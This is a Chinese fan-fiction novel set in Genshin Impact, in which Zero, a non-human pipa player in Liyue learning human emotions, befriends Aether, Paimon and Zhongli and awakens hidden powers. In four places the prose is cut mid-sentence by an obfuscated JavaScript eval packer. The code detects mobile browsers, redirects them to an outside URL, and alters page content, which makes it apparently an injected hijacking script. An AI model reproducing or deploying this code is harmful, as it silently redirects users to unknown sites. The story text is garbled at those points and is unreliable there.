《[综原神]今天也在努力学习人类》 1. 第 1 章 又是一年海灯节。 似乎是下意识的行为，空和派蒙总会赶回璃月过节，有一种回家的感觉。 今年璃月港的海灯节表演上，云翰社的《千岩军破阵乐》技惊四座。 云翰社将靠近璃月港码头初的水面冰冻成阶梯高台，乐师次第端坐，背后是桅杆海灯千帆，令人忍不住夸一声应景。 这也是云老板的人情面子，特意请冰系神之眼的几位帮忙。 这次云堇大胆地编排以弦乐带人声吟唱。 琵琶拨拨弦弦意不同，开场转轴拨弦，将千岩军气势磅礴、战意惊人之势表现得淋漓尽致。 渐渐低眉信手续续弹，云堇出场独自吟唱，将听众带入将士牺牲，英魂难归的那一刻，冰泉冷涩弦凝绝，凝绝不通声暂歇，如若身临其境，内心不由落寞。 之后银瓶乍破水浆迸，铁骑突出刀枪鸣，基调再次高昂，与最开头相互呼应，将千岩军保家卫国的精神意志升华，形成了乐章的闭环。 大鼓的节奏与唢呐最后的呼魂，曲终收拨当心画，四弦一声如裂帛。 璃月港顿时东船西舫悄无言，唯见海灯念英魂。 片刻后，掌声、叫好声此起彼伏。空和派蒙也拍红了手掌。 舞台上，云堇与身着璃月裙装的琵琶主手相视而笑。 是夜，琉璃亭云老板设宴，招待旅行者和小向导。 云堇主动介绍：“这是我们戏社的新乐师，零。” 看着这位换上毫无璃月风的连帽衫的琵琶主手，空想起云堇的信里写过： 「戏社里两位乐师告老还乡，临走前介绍了新乐师。新乐师本领不俗，与我们磨合的时间虽短，却能做到曲与唱严丝合缝。」 想来本领不俗的新乐师就是面前这位眼神像教令院清澈大学生的人了。 于是空和派蒙礼貌地打了招呼问候佳节。 云堇戳了戳疑似放空的乐师：“阿零，这就是帮你找琵琶琴弦的旅行者空和向导派蒙。” 零眨了眨眼睛，好像按下了启动键，人机交互似地伸出手和空握了握，又主动握了握派蒙的小手，认真地打招呼：“你们好，我是零，节日快乐。感谢你们帮我找琴弦。” 派蒙说：“你好，上次云堇委托我们找无光丝线，原来是用在琵琶琴弦上啊。” 空点了点头，回想起为了无光丝线，和吞星之鲸不得不说的日日夜夜，真是往事不堪回首啊！ 零的表情终于有一种开机后系统完全启动的动态，真诚地说：“辛苦你们了，我本来想用钢丝为主体，并在外层包裹尼龙以增强音质和耐用性，但是这里没有尼龙。云堇建议我试试传统蚕丝，可是传统蚕丝再怎么处理还是很容易被我崩断，这才拜托你们帮忙找无光丝线。” 她举起杯子，说：“人类社会常常用敬酒礼仪，我向大家敬酒，表达我的谢意。谢谢空和派蒙的辛苦，也谢谢云堇的心意。” 空被这一套连贯得一板一眼的流程有点打懵了，拿着杯子有点不知所措。 云堇轻笑：“阿零就是这样的，她是真心实意的啦，习惯就好。” 于是空喝了一口甜甜的桂花酿，边喝边觉得零的语言用词哪里很微妙，可一时半会儿又说不上来。 饭桌上，派蒙已经打开了话匣子：“今天的表演太精彩了，零的琵琶声听着好感动，云堇的人声吟唱简直惊艳。” 云堇自豪地抱住零的胳膊：“这可是退休的乐师爷爷特意写信推荐的琵琶高手呢。” 零被云堇这么一抱住，脸上浮现出高兴，不好意思地说：“我练习演奏的目的就是体验人类的感情，老师以前说我的演奏只有技巧没有感情。” 空摇摇头，称赞这曲跌宕起伏，感情充沛。 零的表情愈发生动了：“你说听得出人类的感情了？谢谢，我的学习终于有进步了。” 说到这里，她终于从人机互动模式，转为教令院清澈大学生模式，之后酒过三巡，有云堇相伴，就彻底和空、派蒙混熟了。 从琉璃亭出来，走在街道上，被冷冷的夜风一激灵，空总算反应过来哪里不对劲了。 「我本来想用钢丝为主体，并在外层包裹尼龙以增强音质和耐用性，但是这里没有尼龙。」 「人类社会常常用敬酒礼仪。」 「我练习演奏的目的就是体验人类的感情。」 「你说听得出人类的感情了？谢谢，我的学习终于有进步了。」 这是人类说的话？这是提瓦特大陆人类用的词语？ 他不由自主地停下脚步，回头望向琉璃亭。 “空，怎么啦？忘记东西了吗？”派蒙疑惑地问。 空摇头：“没什么，走吧。” 走了没多远，两人就遇到了看完烟花回来的胡桃和钟离。 相互祝贺佳节后，胡桃热情地邀请去往生堂吃酒酿芝麻小圆子，这对于派蒙来说当然不在话下，毕竟甜品是另一个胃。 空和钟离慢悠悠跟着她们走，空看了一眼钟离，欲言又止。 钟离察觉到了：“小友有什么想问的事？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14463369|154221||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 空想了想，还是问：“钟离先生知道‘钢丝’‘尼龙’吗？” “千锤百炼始成钢，璃月工匠的百炼钢工艺颇为精湛，拉扯成丝不成问题。”钟离思考着，“至于‘泥龙’，乃是泥土所制的龙形玩偶吗？” 啊，果然。 空的脸上浮现了这样的神情。 钟离问：“可是哪里不妥？” 此时已经到了往生堂，胡桃去厨房端酒酿圆子，于是空就不再说下去了。 派蒙一边吃着酒酿圆子，一边将今天晚上参加的活动说了个遍。说到激动处，她忍不住打了个饱嗝：“琉璃亭的菜好吃，酒酿圆子也好吃，璃月港的表演也好看！” 胡桃赞同地说：“对，今天云翰社的表演太棒了，云堇越来越厉害了。” 钟离颔首：“云翰社今夜以弦乐带人声吟唱，跳开了传统模式，令人耳目一新，尤其是琵琶主手，听之难忘。” 空顺势接着话题，打探了一下新乐师的信息，却获得了没什么价值的信息。 “琵琶主手是新来的乐师，临近年关，事务繁忙，我也未曾得见，今夜还是第一次。”钟离微妙地感受到了空的在意，顿了顿，继续说，“若有机会，倒想一见，有如此技艺，实在难得。” 这个机会，第二天就来了。 上午，佳节里更是门可罗雀的往生堂来了客人。 穿着画着大大的∞符号连帽衫的零，出现在胡桃面前时，胡桃愣了好一会儿才把眼前的人和昨晚那个穿着璃月华服的琵琶手联系在一起。 “唔……那是工作状态。”零好像在自己给自己下定义一样。 胡桃放下账本，热情地问：“今天是来洽谈业务吗？我们海灯节有买一送一活动哦！” “买一送一？”零的目光越过胡桃，看到了架子上的棺材模型，明白过来，“人类社会的丧葬行为，我来的目的不是这个。” 她的目光又回到胡桃手上的账本，皱起了眉头：“这个数列的记录方式，看着好难受，没有数学列式计算的韵律美。” 等到钟离提着胡桃要求买的点心走进来时，胡桃和负责记账的仪倌小妹已经被零支着小黑板，深入浅出地学了一堂应用数学课。 “啊，客卿回来了。”胡桃的眼睛已经被数字打得蚊香转圈了。 钟离左看看堂主和仪倌，右看看零和满是列式的小黑板，问：“这位是堂主新请来的算学老师吗？” 零回过神，粉笔啪嗒落到地上：“啊，我是来代云堇帮辛焱谈场地业务的。” 2. 第 2 章 往生堂里一番鸡飞狗跳，终于坐下详谈。 零充满歉意地说：“对不起，我看到数学列式就下意识地忘记了正事。”她如星海一般的瞳孔里全是无辜，像教令院的清澈大学生。 钟离觉得哪里很熟悉，又很确定是第一次见到这位乐师。 结果零也实在地说：“我觉得钟离先生很熟悉，但我很确定是第一次见到先生，大概就是人类社会说的缘分吧。” 哪里很微妙？ 钟离想到了昨天空试探性的话语，对空的欲言又止有了猜测。 零毫无察觉，继续说：“我代云堇过来，她今天要去探望老乐师，过不来。关于辛焱演唱会的场地租赁，哦，辛焱被枫丹的乐友邀请去纳塔交流，正在参加筹备会，也过不来。” “辛焱说上次钟离先生邀请过她来往生堂试试，合适的话可以驻唱，她觉得很激动，又不太好意思。嗯，根据我个人的理解，不太好意思是不是因为场地不收钱？毕竟人类社会的运行规则也涉及到钱。总之她想能不能谈一下场地租赁费用。” 胡桃看向钟离：“客卿，你还干过这事？” 钟离神情自若：“那段日子堂主正好出门在外，我便自作主张……” “可以啊，客卿！很懂得为本堂主分忧嘛！”胡桃高兴极了，“喜欢玩火的人，红红火火，这可是生意兴隆的保障！” 她拍板：“这事好！本堂主觉得不收钱也没事，如果辛焱觉得不好意思，就象征性给一点好了。具体事务客卿你来谈吧，本堂主还有事，就先行一步了。” 望着胡桃飞快消失的身影，不知道是真的有事，还是刚才数学题做太多需要缓一缓，钟离看向待机状态的零，提醒：“零小姐？” 零这次唤醒系统的速度快了很多，诚恳地说：“对不起，独自和陌生人打交道的技能我还要努力学习。” 钟离无奈，说：“既然我们双方都觉得对方有缘熟悉，零小姐无须如此拘谨，朋友也是从陌生人结识开始的。” “朋友也是从陌生人结识开始的……”重复着钟离的话，零乖巧得犹如教室里的小学生，“这句话好有道理。” 钟离的语气不由放缓，如同在夸小学生：“零小姐的琵琶演奏真乃技惊四座，原来对算学也钻研颇深。堂主自小对算学一科不过敷衍了事，故而看到算学题有些胆怯，零小姐切勿介怀。” 零了然：“我懂，人类会背叛、欺骗，但数学不会，因为数学题不会就是不会。” 神奇的冷笑话，钟离却感受到了笑点，忍俊不禁：“既然如此，我们言归正题，堂主说了可以象征性给一点，不如定为一摩拉如何？” 零拿过边上的纸笔记录下来：“一摩拉一天是吗？我会转达给辛焱，到时候她会亲自来往生堂定下契约，非常感谢。” 钟离抿一口茶水，目光注意到零的手，握笔姿势看得出练过，悬腕有些大家之风的影子，但日常一定不是这种姿态，不然不会有点生涩。 更像是会握羽毛笔或者炭笔，也不尽然…… 如果零知道对方在想什么，肯定会自然地发表“0.5mm黑色水笔比圆珠笔好用”之类的言论。 可现在一无所知的她纯粹记录好信息，收起纸条，对于这次独立与陌生人洽谈业务活动的结束，松了一口气。 啊，今天的人类社会交际技能已经进入CD了，不能再用了。 万万没想到，往生堂的客卿是天生社牛圣体，自然地邀请：“快到晌午了，今天零小姐的友人有事不在，我这里堂主也出去了，不若你我作为新朋友相识，去万民堂吃个午饭如何？” 钟离看到零的脸上非常明显地露出了“这就是人类社会的社牛大佬吗可恶根本学不来”的表情，内心突然更愉快了。 话虽如此，钟离总能在人类交际中不会让人觉得不自在，等坐到万民堂的凳子上时，零已经和他开始熟悉了，清澈大学生模式下根本藏不住话。 “辛焱带给我须弥的曲谱，里面有一首用斐波那契数列写的复合拍曲子，融合了数学和音乐的美，我很喜欢，最近一直在练习。” “斐波那契数列？” 提到自己的喜好，星海般的眼睛闪闪发光，她手点茶水，在桌子上书写着：“又叫黄金分割数列，公式是这样，简单来说就是自0、1、1开始后续每一项都是前两项的和……” “如果放在程序代码中，可以通过递归或迭代的方式实现。递归方法通过不断调用自身来计算，而迭代方法则通过循环来逐步计算每一项的值。” 果然，空的欲言又止说的就是零。 钟离确定了自己的猜测，说：“黄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14463370|154221||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金分割音符的曲子，希望有机会能听到。” 此时正好上菜，零收起手，讪讪地说：“抱歉，我一讲到这个话题就刹不住车，老师以前也说我，要注意换位思考他人的感受。” 钟离笑道：“有自己的兴趣爱好是好事，这样生活才会和美味佳肴一样有滋有味。” 零挖了一口四方和平送进嘴里，眼前一亮：“好吃的八宝饭诶！我怎么以前没想到来万民堂吃饭，只知道跟着云堇吃生命体征维持餐。” 这个用语也很特别，但仔细一想还真能称作“生命体征维持餐”。 钟离说：“万民堂如果遇到香菱主勺，就可以点她的招牌菜，比如堂主就很喜欢的水煮黑背鲈。” 零摇了摇头：“我不太喜欢吃辣，辣不是味觉，是痛觉，刺激神经的过程难得几次就够了。以前在老师家，老师做饭会照顾我，现在我就得自己解决了。” 她想了想，补充道：“辛焱常去吃璃港船局的饭，她喜欢大油大荤还要加辣，我也吃不来，宁愿和云堇吃生命体征维持餐。有的时候，云堇嘴馋会买点心，她只吃一块，余下的点心她含泪都给我吃了。” 钟离被逗笑了：“云先生和零小姐都很可爱。” 零又往里挖了一勺豆沙多多的四方和平，心满意足地说：“云堇和辛焱都是很好的朋友，辛焱还做了一个很可爱的抱枕送给我。唔，今天还要谢谢新朋友钟离先生请我吃饭。” 随着渐渐熟悉，肉眼可见零进入了正常人类交际状态，看得出她所谓的“学习”，主要成效是在这里，陌生人初次交往的技能着实不太行，需要对方耐心引导。 饭后，钟离自然地记上往生堂的账，送零回去。 走到门口，听到云堇的招呼声，回头一看，云堇正好也回来了，她像零的姐姐一样，拉过零，娴熟地替零社交：“多谢钟离先生，阿零待人接物有些生疏，还请多包涵。” 零不赞成地说：“我今天可是很努力了，不仅完成了你和辛焱拜托的事情，还结识了钟离先生这位新朋友。” 云堇鼓掌：“哇，阿零有进步了。” 钟离带着笑意捧场：“是的，既然是朋友，大可把‘先生’二字舍去，直接叫我‘钟离’就好。” 璨若星辰的眼睛里透出高兴来：“那今天再见啦，钟离。” 3. 第 3 章 这是降居这颗星球以来，从未做过的梦。 【祂】的声音在即将崩坏的空间中回荡。 「抵御不可名状的深渊崩坏宇宙。」 这是旅途的开端。 【祂】分割自身，将贵金的心脏送向未知的未来，又将徒留虚无的躯壳送向另一方未知的未来。 「遨游星际，体验文明的发展，寻找破解之道。」 这是初心与使命。 贵金的心脏睁开眼睛，石珀的瞳孔被清晨的阳光照得熠熠生辉。 他走在早晨璃月港大街小巷之间，春光灿烂，桃花杨柳两相宜，展现着人类社会的勃勃生机。 他看到零一手持一根长筷子，筷子上串着两根油条，一手提着豆浆桶往回走，想必云堇正在家里等着难得的一口高油高糖早点。 他远远地站着，没有动。 直到空路过问早，派蒙探头好奇地问：“你刚才在看什么？” 钟离带着淡淡的笑意，说：“在看一位许久未见的新朋友。” “许久未见？新朋友？”派蒙满头问号，“这是什么病句？” 自上次万民堂的新体验后，零尝试自己探索璃月港的大街小巷。 下午吃了小吃摊，再散步到三碗不过港，田铁嘴的说书还没开场，她看到右侧桌子上有一本书，随手拿起来看，上面写着《连心珠》。 等看完回过神来，钟离正坐在边上喝茶。 零的脑袋上冒出一个问号：“我记得你一直坐在左边的桌子。” 钟离已然习惯了零的思维，淡定地说：“生活总有随机事件和概率。” “也是。”零理解了，“这是随机变量的生成数。” 她合起书，听田铁嘴说《创龙点睛》的故事，散场后点评：“比《连心珠》的剧情有趣，《连心珠》也很好，有点元杂剧的形式，就是剧情老套了些，看了卷一就能猜到后面的剧情。” 钟离道：“《连心珠》卷五的轻喜剧段落很受欢迎，演过好几次。” 零不太感冒：“我觉得《沉秋拾剑录》挺好看的，很有《银河英雄传说》的味道，不知为什么，璃月没有卖，还是空送给我看的。” 旅行者的好意也可能暗藏玄机，不过无伤大雅，只有行秋要自求多福。 这样想着，钟离看向绝对不知道空的本意的零，介绍道：“稻妻本地有传统节日容彩祭，近年来都在离岛举办大展，主题是轻小说交流，届时会有大量官方与同人作品参展，还有限定赠品、抽奖，新刊流发售会等丰富的活动。” 零果然很感兴趣，追着问了时间，自言自语：“听上去IKET很像，从层岩巨渊回来应该赶得上去稻妻的船吧？” 听到那个地点，钟离问：“你要去层岩巨渊？那里早就关闭了。若是没有璃月七星的许可，任何人都无权进入那里，冒险家协会也不例外。” 零摆摆手：“不不，不进去啦，只是想远远地看一看矿区的地形，探索过璃月港，也应该尝试着多看看其他地方，这样才有融入人类社会的感觉。” 钟离说：“既然如此，比层岩巨渊更古老的是天衡山，璃月先民开凿天衡山，经年累月使得山中坑道错综复杂，后来人们将矿石加工厂建在矿山内部，这就是‘黑岩厂’的由来。嗯，不过黑岩厂也不能随便进入。” “我委托了空，就当做踏青。看空拍的照片，层岩巨渊看起来很像巨大化的可可托海矿坑，我想亲眼看一看。” 零用怀念的语气说。 “老师曾带我去过，在特殊的历史时期，矿区的建设者在极端环境下，自力更生，开采矿山、研究技术，为国家发展做出了巨大贡献，这是人类用智慧和生命铸就的精神丰碑。我想，层岩巨渊也是这样吧。” 钟离带上了些许复杂，叹息道：“注意安全。” 为了多快好省，空提出了一个通过传送锚点直接抵达层岩巨渊的方案。 派蒙首先反对：“别的不说，零没有神之眼，普通人能用锚点吗？” 空自信地拍拍胸脯，不试试怎么知道行不行，自从察觉到零与提瓦特微妙的格格不入后，他不知哪里来了勇气想带手无缚鸡之力的乐师到处尝试新玩意。 对此，零没有否决，而是问：“传送锚点，是通过什么原理达成的？” “地脉连接吧？应该是这样。” 空拉着她的手，接触锚点装置，选择了靠近琉璃峰的一处锚点。 零只觉得眼前一花，意识在无穷无尽的被金色、蓝色包裹的银白色树根之中穿梭，有什么东西在大脑中开启，启动速度太快以至于她来不及细想是不是什么熊猫烧香之类的病毒在后台运行，等眼前恢复正常，身体已经站在了地面上。 “哇！”她举起了留影机。 空则很得意，就说嘛，不试试怎么知道能不能用锚点。 和层岩巨渊比起来，可可托海矿区只能说是小巫见大巫。 地表的砂土呈现着奇妙的紫红色，层层叠嶂，站在琉璃峰上，除了“哇”，余下的只有词穷。 空作为收费导游，尽心尽职地介绍着他所知道的层岩巨渊历史，又贴心地指了指方位：“琉璃峰后面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14463371|154221||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是青墟浦，对面翻过丹砂崖就是须弥，西北方向的的伏鳌谷就是岩王帝君把龙王拖离巨渊的地方，现在还能看到拖行的痕迹。” 零兴趣浓厚：“就是《创龙点睛》的故事后续吗？有趣。能不能去看看？” 只是看一看应该没有什么危险，空拉着她的手再次进入锚点。 从琉璃峰旁的锚点到伏鳌谷，直接通过整个层岩巨渊的地脉。 零这次终于看清了地脉树根，不知为什么，层岩巨渊的地脉不再是被金色、蓝色包裹的银白色树根，反而带着一丝不可名状的五彩斑斓的黑。 像极了地球上甲方的要求。 又有什么东西进入了大脑系统。 「漆黑的污秽从层岩巨渊的深处喷薄而出。」 「千岩军浴血奋战，人类渺小却巨大的意志面对污秽毫不退缩。」 「四臂的仙人与士兵们坚守到最后一刻。」 「排练《千岩军破阵乐》时，老乐师们情不自禁的泪水。」 这是人类的情感…… “零，你怎么了？”派蒙的声音在耳边响起。 她睁开眼睛，布满岩髓的伏鳌谷出现在面前，派蒙关切地问：“你怎么哭了？” 嗯？她摸了摸自己的脸，难以置信：“眼泪……我的眼泪？” 沾满泪水的手是湿的。 被泪水糊过的脸也是湿的。 “我竟然会哭了。”她喃喃自语，口气里带着神奇的高兴。 派蒙疑惑地皱起眉头：“会哭是什么值得高兴的事情吗？” 零又抹了一把脸，问可靠的旅行者：“这里以前发生过惨烈的战争吗？” 见多识广的空把五百年前的战祸说了出来。 大约五百年前，漆黑的灾祸在提瓦特大陆上肆虐，层岩巨渊内部涌出污秽物质和魔物，四臂的夜叉带领千岩军士兵与未知的黑暗鏖战，最终清除了污秽。 接着又顺带讲了之前进入迷错幻渺之境的事情，讲到这里，空想到眼前的乐师对钟离身份一无所知，把后续剧情咽了下去，简单地将夜叉的故事，还有浮舍、魈和太威仪盘的结尾说完了。 “原来如此，难怪钟离知道我要来层岩巨渊旅行时，关照我注意安全。”零明白过来了。 作为本次旅行的金主，她提出要求：“我假期还算宽裕，走锚点省了很多时间，还有其他地方值得一看的吗？我可以加钱，唔，云堇说你喜欢亮闪闪的原石也可以？” 甲方的要求，乙方当然全力配合，向着摩拉和原石，空殷勤地拿出璃月地图，任君挑选。 4. 第 4 章 乙方带着甲方先顺着伏鳌谷拖行的方向去了南天门，参观了伏龙树。 零听完空讲的《创龙点睛》的后续故事，摸了摸伏龙树巨大的树干，提出了问题：“我有两件事不太明白。” 她随手捡起一块一头尖尖的小石片，蹲下身，在地上画了个看得清大致意思的简笔画：“如果伏龙树是若陀龙王的尾巴，那么他岂不是像个萝卜一样被埋在地里，只露出了萝卜叶？” 空沉默了，派蒙沉默了，南天门也沉默了。 派蒙艰难地挤出字眼：“你说的有点道理。” 零继续问第二个问题：“岩神为什么能回应若陀龙王的愿望？” 空没听懂，张了张嘴：“啊？” 零解释：“你跟我说过枫丹水神和水龙的故事，也说过须弥草神和草龙的故事，可见这个系统中神和龙行政级别其实一样，不存在谁命令谁的上下差。那么，为什么故事里岩神能应允愿望，赐予双眼？这明显是有上下级存在吧。” 她带着一点学有所成的小得意：“我对于人类社会中公务员行政级别的学习可是很深入的，毕竟老师很懂这个。” 空的眼神飘移，一时间不知道怎么说，这事大概只有钟离或者若陀龙王双方当事者才能解释吧。 其中一位还是地底下的萝卜状态，也没法帮忙解释啊。 他决定岔开话题：“我们去沉玉谷吧，那里可以坐竹筏，很推荐！” 派蒙赶紧应和：“对啊对啊，艄公的山歌也很好听！” 零也没再纠结，被空拉着手走进锚点。 三人前脚在锚点中消失，后脚钟离走到伏龙树旁，不由自主叹了口气。 若陀的声音响起：“摩拉克斯，她不一般，不能再让她多问了，会被听到。” 难得遇到龙王清醒的时间，这个点踩得恰到好处。 钟离非常笃定：“无妨，我对她很清楚。虽然听上去像是第三视角，但她的的确确是以人的角色看待世界。” “你认识她？” “可以算是最早的老友了，早到双方连人的形态都没产生。”钟离说，“能在这里见到她，契约终结之时也不远了。” 一出锚点，空看到不远处有三个丘丘人，为谨慎起见，让派蒙原地保护零，自己飞快地上去清理危险因素。 沉玉谷的美景不同凡响，从锚点望出去，零“哇”了一声：“黄山！” 派蒙接话：“这里没有黄黄的山，我们等空回来坐竹筏。” 兴致勃勃地在竹筏上一来一回坐了一大圈，听艄公唱了四首曲子，零称赞贴心的乙方：“五星好评！” 空接了梗：“孩子很爱吃，买了一箱。” 派蒙迷茫地看着两个对梗的人哈哈大笑。 混熟了之后，看似人机脱线的零反而很好沟通。空还带着去了比较好走的私家观景位，不用费体力翻山越岭爬上爬下，腿着腿着就能到。 山川被余晖打上一层金光，目之所及比留影机更惊艳。 空介绍沉玉谷的历史：“传说当年神山上有一块璞玉，在灾祸横行的时候，为了不落入妖邪之手，这块璞玉被沉入了水中，所以得名沉玉谷。这里的先民原来住在层岩巨渊一带，后来层岩巨渊变成万丈深渊，才被迫迁移到沉玉谷。” 太阳将没，空建议在翘英庄留宿一晚，明天去遗珑埠体验往璃月港方向的水陆航运。 三人一路沿着山道往翘英庄走，黄昏即为逢魔时，渐暗的山岭间透露出令人不安的气息，随着脚步，似乎踏入迷幻之境。 “小心！”空猛地惊醒，将毫无力量的游客护在身后，一剑削断偷袭的敌人。 丘丘人并非如所料的消失，而是化成了不可名状的黑色烟雾。 派蒙惊呼：“这是魔神残渣吗？！能不能叫到魈来帮忙。” 她已经呼唤出了“魈”的名字，毫无反应。 空握紧了剑：“我们已经踏入了魔神残渣构造的迷境，被隔绝了。”他担忧地拉住零，“你牢牢跟着我，不用害怕。” 零充满信任：“我左手是你，右手是登山杖，当然得靠你了。” 迷境中的天空昏暗而扭曲，魔神残留的怨念与力量，如潮水般汹涌，令人心悸。空紧握手中的剑，如离弦之箭般冲向敌人，剑光如织，试图以精湛的剑术撕裂黑暗。 魔神残渣以一种近乎诡异的方式轻松闪避，同时释放出阵阵阴森的黑雾，侵蚀着、迷惑着周围的一切。抵御愈发沉重，敌人的攻击愈发猛烈，每一次碰撞都伴随着震耳欲聋的轰鸣，地面为之震颤。 “空！——”派蒙的声音里带着哭腔。 空不慎被击中，整个人被震飞数米，全身骨骼都疼得嘎嘎作响，重重地摔在地上。他没有犹豫，下意识地想起身护在零的身前，左腿好像受伤动不了了，喘息间夹杂着痛楚，眼前一阵眩晕。 零扶住空，抬头望着步步逼近、充满威胁的黑雾。 「千岩军的绝歌。」 「为人类的意志而流下的眼泪。」 「想要保护他。」 「保护。」 人类的情感集中，星海般的瞳孔闪烁着金色的光芒，她站在了空的身前。 空吃惊地看着她的身体慢慢飘浮起来，胸口处出现一道巨大的黑色旋涡，周围的空气、光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14463372|154221||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 线乃至迷境空间开始震颤、扭曲。 魔神残渣在这股力量的作用下，发出了惊恐的嘶吼，它感受到了前所未有的威胁。 然而，一切挣扎都是徒劳的，那黑色的漩涡如同饥饿的巨兽，无情地将魔神残渣吞噬殆尽，连迷境的一丝痕迹都不曾留下。 “零！”黑色漩涡逐渐平息，空看到她双眼紧闭，失去了意识的身体将落到地上，不顾受伤的左腿，要冲上去接住。 有人比他更快。 一双戴着黑色手套的手接住了她。 派蒙睁大了眼睛：“钟离？！你怎么在这里？” 钟离没有解释，而是对空说：“她身上觉醒的贪饕权能尚未完全平息，你接触了会被黑洞吸走。先去不卜庐治疗吧，检查一下是否被残渣影响，这里有我。” 无论何时，磐石总是令人安心，空点头，担忧地看了一眼零，和派蒙点开地图锚点前往不卜庐。 洞天不受天理拘束，洞天的主人即为洞天的法则。 空心的躯壳睁开了眼眸，洞天中星辰的轨迹与提瓦特的天空完全不同，有一种真实的熟悉感。 她起身，看向坐在一旁的洞天主人，唤出声：“许久未见，心脏。” 宇宙贵金的心脏放下茶杯：“你将自己的神性封印了几层？” 她揉了揉脑袋，仔细地思考了一会儿，答道：“以目前解封第一层记忆的情况来看，我给自己的程序启动设置条件是明确人类的情感。” 言下之意，封印了几层并不知道。 有别于初见时的人机模式，达成条件解封第一层的零主动许多，自己给自己倒了茶水喝，说：“之前我一直意识到自己不是人类，任务是学习人类，但忘记了为什么，现在总算明白了。” “旅行者说我模仿人类不太像，以普遍理性而论，与你相较之下，我姑且还算不错的。” 零不赞成：“回过头来复盘，空没有说错，你只是装成人类，露馅的地方可太多了。和你一比，我可是很认真地学习站在人类的角色思考、生活。” 她加重音强调：“作为一个「无心」的躯壳，我感觉自己进步可大了。” 回想起无尽岁月中各自不为对方知晓的经历，洞天内沉默了一会儿，接着双方笑出声。 零伸出手：“大中子星碰撞产生星团伽马射线暴后，我们应该是第二次见面。那么我以人类的方式再次认识，虽然虚空的躯壳有「拉尼亚凯亚」之名，但我还是喜欢用人类的名字被称呼。” 钟离回握：“我也一样。你我之间，无论是「心脏」还是「摩拉克斯」，都不如人类的名字。毕竟，这是初心。” 5. 第 5 章 不卜庐药香交织，在璃月港中独有一份宁静。 检查了身上无大碍后，空本着吃了提瓦特煎蛋绝对没问题的原则，和派蒙一起在门口伸了个懒腰，沿着阶梯，打算去完成每日任务。 “呜哇，还好我没来晚。这是我第一次一个人完成人类社会探望病人的任务。”零提着点心盒走过来，“看起来已经不是病人了，竟然能恢复得那么快？” 派蒙眼睛一亮，几乎要飞高高：“哇，是点心！我早饭还没吃呢！” 空吐槽，不是吃了提瓦特煎蛋嘛。 派蒙抱着手：“提瓦特煎蛋算什么饭！哼，害我白担心你了。” 打开盒子，各式各样的点心映入眼帘，零又倒了豆浆，热情地递给空。 空接了杯子，有些微妙地打量着零，犹豫了一下，还是说：“你是零吗？” 怎么感觉不那么人机交互了。 “你就当眼前的是Pro版吧。以后说不定还会有Plus、Max、Ultra版。” “啊？”派蒙豆豆眼。 空按了按额头，确认过了，还是那个零。 零清了清嗓子，端正坐姿，说：“总之，我是来感谢你的，谢谢你做我旅行向导还保护我。” 她掏出袋子，递过来，里面满满的都是亮闪闪的原石和摩拉，让空有些不好意思：“太多了，我只是做了应该做的，最后还是钟离先生出手帮忙的。” 零坚持让他全部收下：“人类社会有句话说得好，亲兄弟明算账，一码归一码。你是我重要的朋友，收下我才高兴。” 那就恭敬不如从命了，空收下谢礼，看到零又掏出一个袋子：“我另外有一个委托，只能有你帮忙。” “我又想去蒙德参加风花节，又想去稻妻参加容彩祭，你知道的，这两个节日时间接近，我在云翰社没那么多假期，按照一般交通方式根本赶不上。”零使用新技能，可怜巴巴地眨巴着眼睛。 懂了，空露出了然的神色，想走地脉锚点捷径。 “这叫特种兵旅行。”零强调，“我连计划书都写好了。” 她掏出一张纸，上面将工作安排得明明白白。 首先完成云翰社的工作，散场后空在和裕茶馆接应，直接去蒙德，赶上第二天风花节的庆典日。 庆典日结束后再通过锚点回璃月港，参加第三天白天的彩排和晚上的演出工作，散场后还是在和裕茶馆接应，转去稻妻离岛，参加容彩祭的首日作者签售会。 派蒙汗颜：“我大概理解你说的‘特种兵旅行’是什么意思了，我们还好啦，你这样连轴转真的不累吗？” 清澈大学生都能从郑州骑共享单车去开封，更何况只是锚点传送呢，根本不是事！ 